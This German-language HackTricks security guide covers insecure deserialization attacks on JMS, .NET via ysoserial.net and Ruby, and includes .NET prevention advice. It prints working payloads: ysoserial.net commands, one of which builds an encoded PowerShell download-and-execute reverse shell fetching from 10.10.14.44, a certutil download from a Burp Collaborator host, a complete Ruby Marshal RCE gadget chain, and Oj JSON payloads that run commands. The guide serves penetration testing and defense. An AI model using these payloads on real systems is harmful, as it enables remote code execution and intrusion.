Die Java Message Service (JMS) API ist eine Java-nachrichtenorientierte Middleware-API zum Senden von Nachrichten zwischen zwei oder mehr Clients. Es ist eine Implementierung zur Lösung des Produzenten-Konsumenten-Problems. JMS ist Teil der Java Platform, Enterprise Edition (Java EE), und wurde durch eine Spezifikation definiert, die bei Sun Microsystems entwickelt wurde, aber seitdem vom Java Community Process geleitet wird. Es ist ein Messaging-Standard, der es Anwendungsmodulen, die auf Java EE basieren, ermöglicht, Nachrichten zu erstellen, zu senden, zu empfangen und zu lesen. Es ermöglicht die Kommunikation zwischen verschiedenen Komponenten einer verteilten Anwendung, die lose gekoppelt, zuverlässig und asynchron ist. (Von Wikipedia).

Produkte

Es gibt mehrere Produkte, die diese Middleware verwenden, um Nachrichten zu senden:

Ausnutzung

Es gibt also eine Menge von Diensten, die JMS auf gefährliche Weise verwenden. Daher, wenn du genug Berechtigungen hast, um Nachrichten an diese Dienste zu senden (normalerweise benötigst du gültige Anmeldeinformationen), könntest du in der Lage sein, bösartige Objekte zu senden, die serialisiert sind und vom Verbraucher/Abonnenten deserialisiert werden. Das bedeutet, dass bei dieser Ausnutzung alle Clients, die diese Nachricht verwenden, infiziert werden.

Du solltest daran denken, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), du immer noch gültige Gadgets finden musst, um die Schwachstelle auszunutzen.

Das Tool JMET wurde entwickelt, um diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.

Referenzen

.Net

Im Kontext von .Net funktionieren Deserialisierungs-Exploits ähnlich wie die in Java, wobei Gadgets ausgenutzt werden, um spezifischen Code während der Deserialisierung eines Objekts auszuführen.

Fingerabdruck

WhiteBox

Der Quellcode sollte auf Vorkommen von:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine vom Benutzer kontrollierte Variable zu bestimmen.

BlackBox

Die Suche sollte auf die Base64-codierte Zeichenfolge AAEAAAD///// oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte, ist aber nicht beschränkt auf, JSON oder XML-Strukturen mit TypeObject oder $type.

ysoserial.net

In diesem Fall kannst du das Tool ysoserial.net verwenden, um die Deserialisierungs-Exploits zu erstellen. Nachdem du das Git-Repository heruntergeladen hast, solltest du das Tool kompilieren, zum Beispiel mit Visual Studio.

Wenn du lernen möchtest, wie ysoserial.net seinen Exploit erstellt, kannst du diese Seite überprüfen, auf der das ObjectDataProvider-Gadget + ExpandedWrapper + Json.Net-Formatter erklärt wird.

Die Hauptoptionen von ysoserial.net sind: --gadget, --formatter, --output und --plugin.

  • --gadget wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (gibt die Klasse/Funktion an, die während der Deserialisierung ausgenutzt wird, um Befehle auszuführen).

  • --formatter, wird verwendet, um die Methode anzugeben, um den Exploit zu serialisieren (du musst wissen, welche Bibliothek das Backend verwendet, um die Nutzlast zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).

  • --output wird verwendet, um anzugeben, ob du den Exploit in raw oder base64 codiert haben möchtest. Beachte, dass ysoserial.net die Nutzlast mit UTF-16LE (Standardkodierung unter Windows) codiert, sodass, wenn du die raw-Version erhältst und sie einfach von einer Linux-Konsole aus codierst, du möglicherweise einige Kodierungs-Kompatibilitätsprobleme hast, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert).

  • --plugin ysoserial.net unterstützt Plugins, um Exploits für spezifische Frameworks wie ViewState zu erstellen.

Weitere ysoserial.net-Parameter

  • --minify liefert eine kleinere Nutzlast (wenn möglich)

  • --raf -f Json.Net -c "anything" Dies gibt alle Gadgets an, die mit einem angegebenen Formatter (Json.Net in diesem Fall) verwendet werden können.

  • --sf xml du kannst ein Gadget (-g) angeben und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht großgeschrieben).

ysoserial-Beispiele zur Erstellung von Exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net hat auch einen sehr interessanten Parameter, der hilft, besser zu verstehen, wie jeder Exploit funktioniert: --test Wenn Sie diesen Parameter angeben, wird ysoserial.net den Exploit lokal versuchen, sodass Sie testen können, ob Ihr Payload korrekt funktioniert. Dieser Parameter ist hilfreich, da Sie beim Überprüfen des Codes Codeabschnitte wie den folgenden finden werden (aus ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Das bedeutet, dass der Code, um den Exploit zu testen, serializersHelper.JsonNet_deserialize aufrufen wird.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In dem vorherigen Code ist anfällig für den erstellten Exploit. Wenn Sie also etwas Ähnliches in einer .Net-Anwendung finden, bedeutet das wahrscheinlich, dass diese Anwendung ebenfalls anfällig ist. Daher ermöglicht uns der --test-Parameter zu verstehen, welche Codeabschnitte anfällig sind für den Deserialisierungs-Exploit, den ysoserial.net erstellen kann.

ViewState

Werfen Sie einen Blick auf diesen POST über wie man versucht, den __ViewState-Parameter von .Net auszunutzen, um beliebigen Code auszuführen. Wenn Sie bereits die Geheimnisse kennen, die von der Opfermaschine verwendet werden, lesen Sie diesen Beitrag, um zu erfahren, wie man Code ausführt.

Prevention

Um die Risiken im Zusammenhang mit der Deserialisierung in .Net zu mindern:

  • Vermeiden Sie es, Datenströme ihre Objekttypen definieren zu lassen. Verwenden Sie DataContractSerializer oder XmlSerializer, wenn möglich.

  • Für JSON.Net setzen Sie TypeNameHandling auf None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Vermeiden Sie die Verwendung von JavaScriptSerializer mit einem JavaScriptTypeResolver.

  • Begrenzen Sie die Typen, die deserialisiert werden können, und verstehen Sie die inhärenten Risiken mit .Net-Typen, wie System.IO.FileInfo, die die Eigenschaften von Serverdateien ändern können, was potenziell zu Denial-of-Service-Angriffen führen kann.

  • Seien Sie vorsichtig mit Typen, die riskante Eigenschaften haben, wie System.ComponentModel.DataAnnotations.ValidationException mit seiner Value-Eigenschaft, die ausgenutzt werden kann.

  • Steuern Sie die Typinstanziierung sicher, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen, wodurch selbst DataContractSerializer oder XmlSerializer anfällig werden.

  • Implementieren Sie Whitelist-Kontrollen mit einem benutzerdefinierten SerializationBinder für BinaryFormatter und JSON.Net.

  • Bleiben Sie informiert über bekannte unsichere Deserialisierungs-Gadgets innerhalb von .Net und stellen Sie sicher, dass Deserialisierer solche Typen nicht instanziieren.

  • Isolieren Sie potenziell riskanten Code von Code mit Internetzugang, um zu vermeiden, dass bekannte Gadgets, wie System.Windows.Data.ObjectDataProvider in WPF-Anwendungen, untrusted Datenquellen ausgesetzt werden.

References

Ruby

In Ruby wird die Serialisierung durch zwei Methoden innerhalb der marshal-Bibliothek erleichtert. Die erste Methode, bekannt als dump, wird verwendet, um ein Objekt in einen Byte-Stream zu transformieren. Dieser Prozess wird als Serialisierung bezeichnet. Im Gegensatz dazu wird die zweite Methode, load, verwendet, um einen Byte-Stream wieder in ein Objekt zurückzuführen, ein Prozess, der als Deserialisierung bekannt ist.

Zur Sicherung serialisierter Objekte verwendet Ruby HMAC (Hash-Based Message Authentication Code), um die Integrität und Authentizität der Daten zu gewährleisten. Der für diesen Zweck verwendete Schlüssel wird an einem von mehreren möglichen Orten gespeichert:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X generische Deserialisierung zu RCE Gadget-Kette (mehr Informationen in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Andere RCE-Kette zur Ausnutzung von Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() Methode

Wie in diesem Sicherheitsbericht erklärt, wenn einige unsanitisierte Benutzereingaben die .send() Methode eines Ruby-Objekts erreichen, erlaubt diese Methode, jede andere Methode des Objekts mit beliebigen Parametern aufzurufen.

Zum Beispiel wird das Aufrufen von eval und dann Ruby-Code als zweiter Parameter die Ausführung beliebigen Codes ermöglichen:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Darüber hinaus, wenn nur ein Parameter von .send() von einem Angreifer kontrolliert wird, wie im vorherigen Bericht erwähnt, ist es möglich, jede Methode des Objekts aufzurufen, die keine Argumente benötigt oder deren Argumente Standardwerte haben. Dafür ist es möglich, alle Methoden des Objekts aufzulisten, um einige interessante Methoden zu finden, die diese Anforderungen erfüllen.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Andere Bibliotheken

Diese Technik wurde aus diesem Blogbeitrag entnommen.

Es gibt andere Ruby-Bibliotheken, die verwendet werden können, um Objekte zu serialisieren und die daher missbraucht werden könnten, um RCE während einer unsicheren Deserialisierung zu erlangen. Die folgende Tabelle zeigt einige dieser Bibliotheken und die Methode, die sie von der geladenen Bibliothek aufrufen, wann immer sie deserialisiert wird (Funktion, die missbraucht werden kann, um RCE zu erhalten):

Bibliothek

Eingabedaten

Startmethode innerhalb der Klasse

Marshal (Ruby)

Binär

_load

Oj

JSON

hash (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)

Ox

XML

hash (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)

Psych (Ruby)

YAML

hash (Klasse muss als Schlüssel in Hash(Map) eingefügt werden) init_with

JSON (Ruby)

JSON

json_create ([siehe Anmerkungen zu json_create am Ende](#table-vulnerable-sinks))

Basisbeispiel:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die innerhalb ihrer hash-Funktion to_s aufruft, was spec aufruft, das fetch_path aufruft, was es ermöglichte, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

Darüber hinaus wurde festgestellt, dass mit der vorherigen Technik ein Ordner im System erstellt wird, der eine Voraussetzung ist, um ein anderes Gadget auszunutzen, um dies in ein vollständiges RCE mit etwas wie: zu verwandeln

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Überprüfen Sie die Details im Originalbeitrag.

Unterstützen Sie HackTricks

Last updated